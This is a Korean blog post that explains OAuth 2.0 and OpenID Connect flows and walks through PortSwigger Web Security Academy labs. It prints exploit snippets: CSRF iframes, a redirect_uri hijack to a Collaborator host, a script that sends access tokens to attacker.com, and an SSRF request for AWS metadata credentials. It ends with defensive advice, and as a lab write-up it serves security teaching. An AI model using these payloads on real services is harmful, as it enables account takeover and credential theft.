티스토리 뷰

OAuth 란

온라인 쇼핑처럼 다양한 포털 사이트에서 구현된 로그인 방식을 보면 등록된 ID 및 패스워드로 가입하는 것이 아닌 "소셜 미디어 계정"을 통해 로그인하는 방식을 종종 볼 수 있습니다. 

 

OAuth라는 것이 생기기 이전에는 웹 서비스를 이용하기 위해 사용자의 이름과 암호를 등록하여 사용했습니다. 다른 사이트를 이용할 때마다 사이트별 사용자의 이름과 암호를 새로 지정해줘야 하는 번거로움이 있었습니다. 그래서 별도의 계정을 만들지 않고 인증받은 타사 앱을 이용해 권한을 부여할 수 있는 중앙기관의 필요성이 느끼게 되었고 그것을 해결할 수 있는 것이 이 OAuth 프레임워크 라고 보시면 됩니다.

 

이 기능을 이용할 경우 사이트를 이동할 때마다 회원가입, 계정 입력을 하지 않고 특정 소셜미디어의 계정 하나로 여러 사이트를 이용할 수 있기 때문에 현재 매우 편리한 기능으로 자리 잡았습니다.

위의 사진을 보시는 것처럼 Google, Facebook, Twitter 등에서 자신의 서비스를 외부 시스템에서 사용할 수 있게 제공해주고 있습니다. 이를 통해 소셜미디어에 등록되어있는 사용자 계정 정보 => 등록하고자 하는 사이트에 마이그레이션 시켜주게 됩니다.

OAuth는 "Framework"로 사양이 각각 틀리며, 유연하게 설계될 수 있습니다. 이 말은 즉 개발자가 기능을 가져와 안전하게 구현해두지 않을 경우 공격자는 이러한 잘못된 OAuth 구성을 통해 사용자 인증 메커니즘을 우회하여 타 사용자의 계정을 탈취할 수 있는 문제가 발생할 수 있습니다.

 

OAuth 흐름에서 필요한 역할들

1.앱(Client Application)
요청한 사용자 데이터에 액세스 하려는 웹 사이트 또는 웹 응용 프로그램


2.사용자(Resourc Owner)
클라이언트 애플리케이션이 액세스 하려는 데이터의 사용자


3.OAuth 서비스 제공자(OAuth Service provider)
사용자 데이터 및 액세스를 제어하는 ​​웹사이트 또는 애플리케이션으로, 인증 서버 및 리소스 서버 모두와 상호 작용하기 위한 API를 제공

 

OAuth 권한 부여 종류 2가지

OAuth 프레임워크를 통한 인증방법은 대표적으로 2가지가 있으며 이를 식별할 수 있는 방법 대표적으로 OAuth 인증 흐름 과정에서 요청 시 전달하게 되는 "response_type" 변수를 통해 확인할 수 있습니다.

  • Implicit Flow(암시적 권한 부여)

https://example.com/auth?client_id=123123&redirect_uri=https://123.com&response_type=token ...

  • Authorization Code Flow(인증코드 부여)

https://example.com/auth?client_id=123123&redirect_uri=https://123.com&response_type=code ...

 

Implicit Flow(암시적 권한 부여)

암시적 권한 부여 유형 은 주로 백엔드와 별개로 구현된 단일 페이지 응용 프로그램(SPA)을 위해 설계되었습니다. 하지만 상대적 단순성 때문에 고전적인 클라이언트-서버 웹 애플리케이션에서도 자주 사용할 경우 문제가발생 할 수 있습니다.

portswigger

1. OAuth 인증을 위해 권한 부여 요청
2. 사용자 로그인 및 동의(ex: Facebook계정으로 인증)
3. 액세스 토큰 부여(Facebook에서 요청한 범위의 액세스 토큰 부여함)
4. API 호출(리소스 서버(Facebook)에 사용자 데이터를 가져오기 위함)

  • OAuth 서비스의 사용자 정보 엔드포인트에 대한 API 호출을 브라우저를 통해 수행

5. 자원 부여

  • 리소스 서버는 토큰이 유효하고 현재 클라이언트 애플리케이션에 속하는지 확인, 요청된 리소스, 즉 액세스 토큰과 연결된 범위를 기반으로 하는 사용자 데이터를 전송하여 응답

위의 흐름을 보듯이 인증 과정에서 별도의 백 채널 통신을 하지 않기 때문에 인증서버에서는 브라우저를 통해 액세스 토큰을 보내게 되는데, 파라미터에 직접 반환해주기 때문에 이를 탈취할 수 있을 경우 문제가 발생할 수 있습니다.

- Request (GET)/authorize?response_type=token&client_id=s6BhdRkqt3&state=xyz&redirect_uri=https%3A%2F%2Fclient%2Eexample%2Ecom%2Fcb
- Response -> 승인 요청 시 url로 Access Token이 바로 전달됨 http://example.com/cb#access_token=2YotnFZFEjr1zCsicMWpAA&state=xyz&token_type=example&expires_in=3600

 

Authorization Code Flow(인증코드 부여)

일반적으로 제일 많이 사용되는 방식으로 백엔드가 구현되어 있는 사이트에 가장 적합한 방식으로 "인증코드"가 추가되어 있으며, 액세스 토큰에 대한 인증 코드는 백 채널에서 이루어지기 때문에 암시적 권한 부여 유형과는 다르게 통신과정에서 민감정보가 쉽게 노출되는 일을 대폭 감소시켰습니다.

portswigger

1. OAuth 인증을 위해 권한 부여 요청
2. 사용자 로그인 및 동의(ex: Facebook계정으로 인증)
3. 수락 시 인증코드 부여

4. 인증코드를 통해 액세스 토큰 요청

  • 인등 코드 및 토큰 교환 이후에 발생하는 모든 통신은 백 채널을 통해 서버 간 전송하므로 안전함

5. 액세스 토큰 부여(Facebook에서 요청한 범위의 액세스 토큰 부여함)

  • 가장 민감한 데이터(access token 및 user data)는 브라우저를 통해 전송되지 않음

6. API 호출(클라이언트 앱이 액세스 토큰을 가지고 있으므로 리소스 서버(Facebook)에 사용자 데이터를 가져오기 위함)

7. 리소스 부여(유효한 토큰일 경우 리소스 서버는 클라이언트 앱에서 선택한 리소스를 제공

1.Authorization
- Request (GET)/authorize?response_type=code&client_id=s6BhdRkqt3&state=xyz&redirect_uri=https%3A%2F%2Fclient%2Eexample%2Ecom%2Fc - Response https://client.example.com/cb?code=SplxlOBeZQQYbYS6WxSbIA&state=xyz

2.Access token
- Request (POST) /token Authorization: Bearer czZCaGRSa3F0MzpnWDFmQmF0M2JW
Content-Type: application/x-www-form-urlencoded grant_type=authorization_code&code=SplxlOBeZQQYbYS6WxSbIA&redirect_uri=https%3A%2F%2Fclient%2Eexample%2Ecom%2Fcb

- Response -> Authorization Code 획득 후 해당 Code로 Access Token 획득
{ "access_token":"2YotnFZFEjr1zCsicMWpAA", "token_type":"example", "expires_in":3600, "refresh_token":"tGzv3JOkF0XG5Qx2TlKWIA", "example_parameter":"example_value" }

 

OAuth Vulnerability check

OAuth 서비스의 취약점을 찾을 때 확인하는 대표적인 체크리스트입니다. 우선적으로 어떤 방식으로 권한을 부여하는지 체크 후 각각의 변수와 흐름을 분석해주시면 됩니다.

1.OAuth 버전 식별(1.0에서는 Access token과 Request token 2개 사용됨)
2. 사용 중인 권한 부여 유형 식별
3.잘못된 보안 구성들 테스트

- 불충분한 세션 관리(클라이언트 앱에서 로그아웃 되어도 타사어플리케이셔의 세션 유지)
- redirect_uri 의 입력 값 검증 미흡(오픈 리다이렉트 발생)
Token Leakage(인증서버가 HTTP(80)를 통해 access_token를 반환하는지 체크, Bearer헤더에 담는 게 안전)

- 강력한 Client Secrets 사용 여부 체크(인증 후 Authorization 헤더가 Bearer가 아닌 Basic인 경우, 무차별 대입 가능)
- state 매개변수 및 재사용 확인(CSRF 가능성)
- Scope Value Manipulation(권한 범위 값 조작)
Implicit Grant(암시적 권한 부여(response_type=token), 액세스 토큰 누출 및 액세스 토큰 재생에 취약하며 인증 응답에서 특정 클라이언트에 대해 발급된 액세스 토큰을 암호화 방식으로 바인딩하는 실행 가능한 메커니즘이 없는지 체크)

 

Authentication bypass via OAuth implicit flow[ 암시적 권한 부여 기반 인증 우회 ]

해당 사이트는 OAuth의 암시적 권한 부여 흐름을 통해 사용자가 소셜 미디어 계정으로 액세스 할 수 있도록 구성되어 있습니다.

 

OAuth는 보안적인 측면에서 올바른 옵션의 조합을 사용하고 강력한 입력 유효성 검사와 같은 자체 추가 보안 조치를 구현하는 기능을 개발자에게 거의 전적으로 의존하다 보니 단순 편의성 측면에서만 개발 구현을 하게 되는 경우가 발생할 수 있습니다.

 

만약 인증과정에서 유효한 사용자인지 제대로 검사하지 않을 경우 공격자는 타 사용자의 암호를 모르는 상태에서 무단으로 로그인할 수 있습니다.

 

권한 요청 시 response_type 변수에 "token"이 설정되어 있는 것을 통해 암시적 권한 부여를 하고 있는 것을 확인할 수 있습니다.

 

앱에 대한 사용자 액세스를 동의하게 되면 OAuth 서비스 제공자에서 사용자가 액세스 하고자 하는 앱에 로그인되어 있는지 확인합니다.(로그인되어 있지 않을 경우 소셜 미디어 로그인을 유도)

 

로그인 후 사용자 신원 체크를 모두 거치면 요청 헤더에 Authorization: Bearer에 토큰을 담아 /me 엔드포인트에 요청하게 되고 이후에 /oauth-callback 엔드포인트에 인증을 완료한 사용자의 세션정보를 Cookie헤더에 포함시켜 HTTP 200을 반환받아 인증 프로세스를 끝마치게 되는 구조입니다.

 

다시 위로 올라가 /authenticate 엔드포인트에 사용자의 이메일 주소와, 이름을 입력받는 요청에서 이메일 주소를 타 사용자의 이메일 주소로 변경하여 재인증을 해보면 추가적은 사용자 유효성 검증을 하지 않아 새로운 세션을 반환해줍니다.

 

반환된 세션정보를 통해 /oauth-callback의 Cookie 헤더를 수정해보면 성공적으로 임의 사용자 계정 정보로 로그인하게 됩니다.

 

이 같은 문제는 액세스 토큰을 Authorization 헤더에 담아 /me 엔드포인트에 요청을 보내면 그의 따른 사용자 데이터를 가져오게 되는데, 사용자를 확인하는 검증 단계에서 클라이언트 응용 프로그램이 액세스 토큰이 요청의 다른 데이터와 일치하는지 제대로 확인하지 않는 경우 공격자는 본인이 부여받은 토큰을 기반으로 타 사용자의 이메일 주소로 변경하여 악용할 수 있다는 점을 시사하게 됩니다.

 

Forced OAuth profile linking( 강제 프로필 연결 )

기존에 로그인한 사용자들은 타 소셜 미디어의 프로필을 해당 사이트 계정에 연동할 수 있는 메커니즘이 존재합니다.

하지만 여기서 중요한 점은 연동하기 위한 과정에서 유효한 요청인지 아닌지를 체크하지 못할 경우 공격자는 타 사용자의 정보를 도용하거나 탈취할 가능성이 존재합니다.

 

사용자의 이름 및 비밀번호를 통해 최초 로그인 후 타 사이트의 프로필을 연동하여 가져올 수 있는 메커니즘을 지원하고 있습니다. 우선 로그인 후 "Attach a social profile"하여 연동하도록 하겠습니다.

 

인증 시 사용되는 매개변수를 확인해보면 위에서 진행한 것 과는 다른 게 response_type=code로 부여되어 있는 것으로 보아 "인증코드 부여" 흐름을 사용하는 것으로 추측할 수 있습니다. 위에서는 말씀드리지 않은 부분이지만 여기서 확인되는 그리고 체크해봐야 될 변수는 2가지 정도 있습니다.

  • state 매개변수의 부제
  • redirect_uri의 입력 값 검증

첫 번째로 임의로 지정되는 랜덤 토큰 "state" 변수가 존재하지 않아 CSRF 형식의 공격에 노출될 가능성이 존재합니다. 또한 redirect_uri 에 지정된 끝점 요청의 유효성 검사를 제대로 하지 않을 경우 동일하게 CSRF형태의 공격에 악용될 수 있습니다.

 

연동하기 위해 생성된 code 값을 복사 후 요청 값을 "Drop" 시킵니다.(타 사용자의 계정에 자신의 프로필을 연동시키는 것이 목적이니) 또한 계정을 연결하기 위한 oauth 인증 요청 과정에서도 CSRF를 방지할 수 있는 "state" 변수가 없습니다.

- Exploit Code -
<iframe src="https://ac4d1fb91e5170f4c0a029bd001e00aa.web-security-academy.net/oauth-linking?code=Attacker Token"></iframe>

요청 코드를 기반으로 iframe 태그를 사용하여 호스팅 서버에 업로드해두고 관리자가 자신의 서버에 접근하여 코드가 실행되도록 유도합니다.

 

관리자 계정이 공격자 서버에 접근하게 되면 자동으로 redirect_uri에 지정된 /oauth-linking?code=attacker token으로 요청을 보내 관리자 계정에 공격자의 프로필을 연동하게 되기 때문에 공격자는 이 OAuth 계정으로 통합 로그인하여 계정을 탈취할 수 있게 됩니다.

 

OAuth account hijacking via redirect_uri( redirect_uri를 통한 oauth 인증 탈취 )

해당 사이트에서는 사용자가 "소셜 미디어"를 통해 로그인할 수 있는 기능이 존재합니다. Login with social media를 진행하여 요청 파라미터를 잡아보도록 하겠습니다.

 

인증 요청 패킷을 통해 확인 및 체크해야 될 부분들은 아래와 같습니다.
1.response_type 체크(인증코드 부여 유형)
2.redirect_uri의 유효성 검증
3.state 파라미터 존재 유무

 

"redirect_uri"변수는 서버가 인증 코드를 반환하는 데 사용할 수 있는 중요한 변수로, 이 변수의 유효성을 처리하지 못할 경우 공격자는 리다이렉션을 일으켜 HTTP 과정에 포함된 인증코드를 통해 사용자 계정에 무단으로 액세스 할 수 있습니다. 또한 마찬가지로 별도의 state 변수가 존재하지 않아 CSRF에 취약합니다.

 

소셜 미디어를 통해 로그인 후 Continue를 진행하면 부여받은 인증 토큰을 기반으로 엔드포인트에 요청을 보내고 사용자의 데이터에 액세스 하게 됩니다.(+ state 변수 부재)

 

다시 이전으로 돌아가 redirect_uri 파라미터에 임의 주소로 수정하여 요청을 보내보면 302 Found를 유발하면서 지정된 페이지로 강제 리다이렉션 되는 문제가 존재합니다. 

- Exploit Code -
<iframe src="https://oauth-ac101f3c1f4b4ac2c08d6bbc02a6002d.web-security-academy.net/auth?client_id=dlko1ymvizmo80mxcwkri&redirect_uri=https://burpcollaborator.net&response_type=code&scope=openid%20profile%20email"></iframe>

공격자는 리다이렉트 되는 점을 참고하여 인증 코드를 클라이언트 애플리케이션에 보낼 때 사용자의 브라우저가 리디렉션 되어야 하는 URI를 공격자의 Callback 주소(burpcollaborator)로 보내고 OAuth 토큰을 탈취 후 관리자 계정의 API키에 액세스 할 수 있게 됩니다.

 

임의 관리자가 인증코드 Callback주소가 공격자 주소로 변조된 링크를 클릭할 경우 HTTP 과정에 포함된 인증코드가 공격자 서버에 기록되게 됩니다.

 

탈취한 인증 토큰을 기반으로 /oauth-callback?code=Admin Access Token 요청을 다시 보내게 되면 성공적으로 인증이 되어 관리자 계정은 공격자 계정과 연동되게 됩니다.

 

Stealing OAuth access tokens via an open redirect( 오픈 리다이렉트를 활용한 OAuth 토큰 탈취 )

대상 서비스는 Oauth 인증을 통해 소셜 미디어 계정으로 로그인할 수 있도록 지원하고 있습니다. 공격자는 Oauth 서비스의 유무를 파악 후 액세스 토큰을 훔치기 위한 리다이렉션 취약점을 찾아야 합니다. 우선 Oauth 로그인 프로세스를 완료하고 테스트를 진행해보겠습니다.

 

참고로 OAuth 흐름 프로세스를 완료 후 과정을 살펴보면 Authorization: Bearer 헤더에 액세스 토큰을 담아 /me 엔드포인트에 요청을 하면 인증된 사용자의 계정 정보를 반환해주고 있습니다.

 

뒤로 돌아가 인증 요청 시 발생되는 패킷을 보면 "암시적 권한 부여" 흐름을 사용하고 있으며 리다이렉트 되는 변수인 "redirect_uri"변수에 임의 주소를 넣고 요청해보면 이번에는 유효성 검사를 하고 있습니다.

 

# Input
https://example.com/oauth-callback/../../path
# Output
https://example.com/oauth-callback/path

요청이 실패되면 추가 우회 트릭 패턴을 시도해야 됩니다.

우선 URI의 어느 부분을 검증하고 있는지 확인해보겠습니다. 몇몇 서비스의 경우 명확한 화이트리스트 주소를 검증하지 않고 하위 도메인들 까지 모두 포함할 가능성도 존재하며, 하위 디렉토리가 없는 주소를 추가하여 백엔드 단에서 예외처리 발생하도록 간단한 트릭을 사용할 수 있습니다.

 

redirect_uri 변수에 경로 순회가 가능한 것을 확인했으니 서비스 내부에 Open Redirect를 발생시킬 수 있는 추가 취약점을 찾아야 됩니다. 게시글의 Next 버튼에는 path 변수가 사용되며 지정된 값인 postid=7 게시글로 넘어가게 되어 있습니다.

 

path 변수는 사용자의 입력 값을 검사하지 않아 임의 경로로 강제 이동시킬 수 있습니다. 

 

redirect_uri의 경로 이동 가능성과 path 변수의 Open Redirect 취약점을 활용하여 공격자가 지정해둔 특정 주소로 이동이 가능한지 검증해보도록 하겠습니다.

 

<1> 최초 요청
https://oauth-ac411f7e1e85158ac0220fa8027f00a4.web-security-academy.net/auth?client_id=att3am0mz8j4fnweerb92&redirect_uri=https://ac081f001e5815e3c0ff0fa000f1008e.web-security-academy.net/oauth-callback/../../post/next?path=https://evil.com&response_type=token&nonce=940248027&scope=openid%20profile%20email

<2> Redirect_uri 처리
https://ac081f001e5815e3c0ff0fa000f1008e.web-security-academy.net/oauth-callback/../../post/next?path=https://evil.com&response_type=token&nonce=940248027&scope=openid%20profile%20email

<3> 최종 처리
https://evil.com&response_type=token&nonce=940248027&scope=openid%20profile%20email

1차 요청에서 redirect_uri 변수의 영향으로 지정된 값으로 이동되고 그 후 oauth-callback 이후에 존재하는 경로 순회로 인해 /post/next?page=에 담긴 값(evil.com) 까지 처리하게 됩니다.

 

암시적 권한 부여 유형에서 리다이렉트 경로를 제어할 수 있다면 response_type에 포함되는 액세스 토큰을 탈취할 수 있습니다. 하지만 evil.com 주소창을 보면 /#access_token 형식으로 주석 처리되어 있습니다. 이를 조금 변형해야 됩니다.

 

<script>
window.location = '/?'+document.location.hash.substr(1)
</script>

access token을 매개변수로 사용하여 파라미터에 잡히도록 수정하기 위해선 window.location.hash.substring() 함수가 필요합니다. 이를 통해 액세스 토큰 값이 파라미터에 제대로 나오기 시작하며 액세스 로그에도 기록되게 됩니다.

- Exploit Code -
<script>
if (!document.location.hash) { window.location = 'https://oauth-ac2d1f051e076ccac08b1ae702160036.web-security-academy.net/auth?client_id=g92x0rwiz7j58vc36wppq&redirect_uri=https://acc21fdf1eca6c0dc0fd1ae1007d00ce.web-security-academy.net/oauth-callback/../../post/next?path=https://attacker.com/access_token.html&response_type=token&nonce=-1604844947&scope=openid%20profile%20email' } else { window.location = '/?'+document.location.hash.substr(1) }
</script>

공격자 서버에 저장된 Exploit Code는 다음과 같습니다. 만일 해당 주소에 관리자가 방문하게 될 경우 아래의 코드가 실행되어 액세스 토큰을 탈취할 수 있게 됩니다.

 

탈취한 토큰 값을 통해 Authoriztion 헤더로 재요청해보면 탈취된 관리자의 계정으로 액세스 하게 됩니다.

 

OpenID 란?

OpenID Connect는 OAuth 2.0 프로토콜 확장해서 만든 기능으로 Autorization Request를 보내며 인증(Authentication)에 대한 정보는 ID Token이라 불리는 JWT형태의 사용자 정보를 리턴해줍니다. 공격자 관점에서 OAuth 프레임워크의 지원 여부는 OpenID를 함께 사용할 가능성이 있으므로 함께 체크해주시는 것이 좋습니다.

sagarag.medium.com

1. 클라이언트 등록을 하기 전에 일차적으로 로그인을 수행(액세스 토큰, API 키 등이 될 수도 있음)

2. 클라이언트의 구성 데이터를 POST 형식으로 전달함(JSON 또는 서명된 JWT)

POST /register HTTP/1.1
Host: example.com
Content-Type: application/json
Accept: application/json
{
“redirect_uris”: [
      “https://client.example.org/callback",
      “https://client.example.org/callback2"],
“client_name”: “My Example Client”,
“token_endpoint_auth_method”: “client_secret_basic”,
“logo_uri”: “https://client.example.org/logo.png",
“jwks_uri”: “https://client.example.org/my_public_keys.jwks",
“example_extension_parameter”: “example_value”
}

3. 클라이언트에 의해 검증되고 등록되면 엔드포인트에서는 등록된 사용자의 데이터를 JSON 형식으로 응답해줌

  • 일반적으로 client_id 및 client_secret를 생성함
HTTP/1.1 201 Created
Content-Type: application/json
{
“client_id”: “s6BhdRkqt3”,
“client_secret”: “cf136dc3c1fc93f31185e5885805d”,
“client_id_issued_at”: 2893256800,
“client_secret_expires_at”: 2893276800
,“redirect_uris”: [
       “https://client.example.org/callback",
       “https://client.example.org/callback2"],
“grant_types”: [“authorization_code”, “refresh_token”],
“client_name”: “My Example Client”,
“token_endpoint_auth_method”: “client_secret_basic”,
“example_extension_parameter”: “example_value”
}

 

OAuth 와 OpenID의 차이

OpenID는 인증(Authentication) => 타 플랫폼을 통해 이 사람이 누구인지 확인 => JSON 또는 JWT 방식
OAuth는 허가(Authorization) => 타 플랫폼에 존재하는 사용자의 데이터에 접근 => 헤더에 Bearer 포함
OAuth에서 발급하는 Access Token은 일시적으로 특정 권한을 허가해준 토큰일 뿐이지 사용자에 대한 정보는 담고 있지 않음

SSRF via OpenID dynamic client registration( 동적인 클라이언트 등록을 통한 SSRF )

OpenID Connect 인증 시작은 일반 OAuth 인증과 동일한 방식으로 작동합니다. 필요한 것은 클라이언트가 'openid'범위를 요청하는 것입니다. response_type=code 인 것으로 보아 인증코드 부여 흐름을 사용하고 있습니다.

 

openid 범위가 포함되면 레지스트리는 토큰 응답 내에서 id_token을 반환하고 해당 사용자의 사용자 정보 끝점에 액세스 할 수 있는 클라이언트 권한을 부여하게 됩니다.

 

소셜 미디어로 로그인을 진행하면 사용자의 프로필이 나타나는데 이는 /client/token/logo 의 영향을 받습니다. 부여된 token이 어떤 것인지 알 수 있으면 탈취된 토큰으로 교체하여 공격자의 프로필 연동을 조작할 수 있을 것 같습니다.

 

GET /.well-known/openid-configuration

OpenID에서 동적 클라이언트 등록이 지원되는 경우 클라이언트 애플리케이션은 POST전용 /registration엔드포인트에 요청을 보내 자체적으로 등록할 수 있습니다. 동적 등록 엔드포인트 주소를 확인하기 위해선 OpenID Configuration이 포함된 정보를 확인해야 됩니다.(reg 유사 키워드)

 

사용자를 성공적으로 인증하기 위해 OAuth 서버는 "client_name", "client_secret", "redirect_uris" 등과 같은 클라이언트 응용 프로그램에 대한 세부 정보를 알아야 합니다. 이러한 세부 정보는 로컬 구성을 통해 제공할 수 있지만 OAuth 권한 부여 서버에는 특수 등록 끝점이 있을 수도 있습니다. 이 끝점은 일반적으로 "/register" 또는 "/reg"에 매핑되며 아래와 같은 형식의 POST 요청을 보낼 수 있습니다.

 

POST /connect/register HTTP/1.1
Content-Type: application/json
Host: server.example.com
Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJ ...

{
"application_type": "web",
"redirect_uris": ["https://client.example.org/callback"],
"client_name": "My Example",
"logo_uri": "https://client.example.org/logo.png",
"subject_type": "pairwise",
"sector_identifier_uri": "https://example.org/rdrct_uris.json",
"token_endpoint_auth_method": "client_secret_basic",
"jwks_uri": "https://client.example.org/public_keys.jwks",
"contacts": ["ve7jtb@example.org"],
"request_uris": ["https://client.example.org/rf.txt"]
}

이러한 값 중 다수는 URL 참조를 통해 전달되기 때문에 SSRF를 시도해볼 가치가 있습니다. 아래는 각 변수들의 간단한 설명과 발생 가능한 문제들을 확인할 수 있습니다.

 

<Server Side Callback 가능성>
# logo_uri : 클라이언트 응용 프로그램의 로고를 참조하는 URL로 서버가 자체적으로 이미지를 가져오는 경우 SSRF 및 XSS(<img>)에 노출될 수 있음
# sector_identifier_uri : redirect_uri 값의 단일 JSON 배열이 있는 파일을 참조하며 지원되는 경우 동적 등록 요청을 제출하는 즉시 서버에서 콜백을 받음
# request_uri : 동적 클라이언트 등록이 활성화되지 않아 거나 인증이 필요한 경우에도 "request_uri"를 사용하여 인증 엔드포인트에서 SSRF 시도 가능

<Client Side Callback 가능성>
# redirect_uri : 인증 후 클라이언트를 리디렉션 하는 데 사용되는 URL
# client_uri : 클라이언트 애플리케이션의 홈 페이지 URL
# policy_uri : 최종 사용자가 프로필 데이터가 사용되는 방식에 대해 읽을 수 있도록 신뢰 당사자 클라이언트 응용 프로그램이 제공하는 URL
# tos_uri : 최종 사용자가 신뢰 당사자의 서비스 약관을 읽을 수 있도록 신뢰 당사자 클라이언트가 제공하는 URL
# initial_login_uri : 제3자가 RP에서 로그인을 시작하는 데 사용할 수 있는 https 체계를 사용하는 URI입니다. 클라이언트 측 리디렉션 시도 가능

체크해야 될 변수들을 테스트하는 방법은 첫 번째로 /.well-known 끝점을 통해 허용되어 있는지 정보를 수집해서 동적 등록 페이지(/reg)에 요청을 하거나 처음부터 테스트하고자 하는 모든 변수를 한 번에 날려보는 것도 방법이 되겠습니다.(모든 변수가 사용되지 않으며 변경될 수 있음)

 

/reg 엔드포인트로 Callback이 가능한 매개변수를 요청해보면 응답 소스에 나타납니다. 이를 통해 공격자는 해당 변수를 허용하고 있다는 것을 파악할 수 있습니다.

*이외에 등록 가능한 메타데이터는 아래를 참고
https://webconcepts.info/concepts/oauth-client-metadata/ 

 

OAuth Dynamic Client Registration Metadata

 

webconcepts.info

공격자가 Collaborator 콜백 주소를 매개변수로 추가하여 요청하면 Response에는 "client_id"가 함께 부여됩니다. 등록된 해당 값을 복사합니다.

 

부여된 client_id 값을 Collaborator로 새로 등록한 값으로 변경해서 요청해주면 콜백을 받을 수 있게 되어 SSRF가 발생됩니다.

 

http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/

관리자 액세스 키를 획득하기 위해 문제의 지문에 포함되어 있는 특정 서버 주소로 요청하여 동적 클라이언트 등록 후 id 값을 복사합니다.

 

복사한 값을 변경하여 요청하면 성공적으로 AWS 비밀키를 획득할 수 있게 됩니다.

 

안전한 OAuth 프레임워크 관리

OAuth에는 기본적으로 보호 기능이 탐재되어 있지 않으므로 보안사고를 사전에 예방하기 위해 제공자와 클라이언트 애플리케이션에서 상호작용하는 모든 변수의 입력 값을 검증하여 유효한 요청만 처리할 수 있도록 구현해두는 것이 좋습니다.

또한 서비스를 사용자가 공개 비공개 유무를 떠나서 암시적 권한 부여 유형보다는 "인증코드 부여"흐름을 도입하여 사용하는 것이 좋습니다. 왜냐하면 Access_token이 URL 파라미터에 노출되지 않으며, 헤더에 포함되는 Referer 나 User-Agent에도 숨길수 있기 때문에 중요한 키 값을 외부로부터 노출되지 않도록 안전하게 통신할 수 있기 때문입니다.

 

OAuth 서비스 제공자 관점

  • 오픈 리다이렉트 취약점(redirect_uri)
  • 상태(state) 매개변수를 사용하여 CSRF 공격 방지
  • 토큰 유효성 검사(access_token, client_id)
  • scope 요청된 범위가 기존 범위와 일치하는지

OAuth 클라이언트 애플리케이션 관점

  • 상태(state) 매개변수를 사용하여 CSRF 공격 방지
  • Referer헤더에 노출된 인증 코드(외부 이미지, 스크립트 또는 CSS 콘텐츠가 로드될 때 헤더를 통해 유출 가능)

 

<Ref>

https://portswigger.net/web-security/oauth
https://portswigger.net/research/hidden-oauth-attack-vectors
https://portswigger.net/web-security/oauth/openid
https://www.bbsmax.com/A/q4zVEw9XdK/#ssrf-via-openid-dynamic-client-registration
http://dann.com.br/web-security-academy-going-deep-on-oauth-labs-and-a-beautiful-unintended-solution/
https://apisecurity.io/issue-127-hidden-oauth-attack-vectors-methodology-for-bola-idor/
https://developer.okta.com/docs/reference/api/oidc/#get-started
https://book.hacktricks.xyz/pentesting-web/oauth-to-account-takeover
https://www.praetorian.com/blog/attacking-and-defending-oauth-2-0-part-1/
https://velog.io/@ha0kim/OAuth

'WEB' 카테고리의 다른 글

OAuth 및 OpenID의 잘못된 보안 구성  (0) 2022.04.07
CSTI(Client Side Template Injection) 취약점  (0) 2022.03.08
기업 도메인의 DMARC 레코드 분석  (0) 2022.02.18
Log4j 취약점(CVE-2021-44228)  (0) 2021.12.23
Atlassian RCE 취약점  (0) 2021.09.12
Atlassian REST API 취약점  (0) 2021.09.11
Comment
댓글쓰기 폼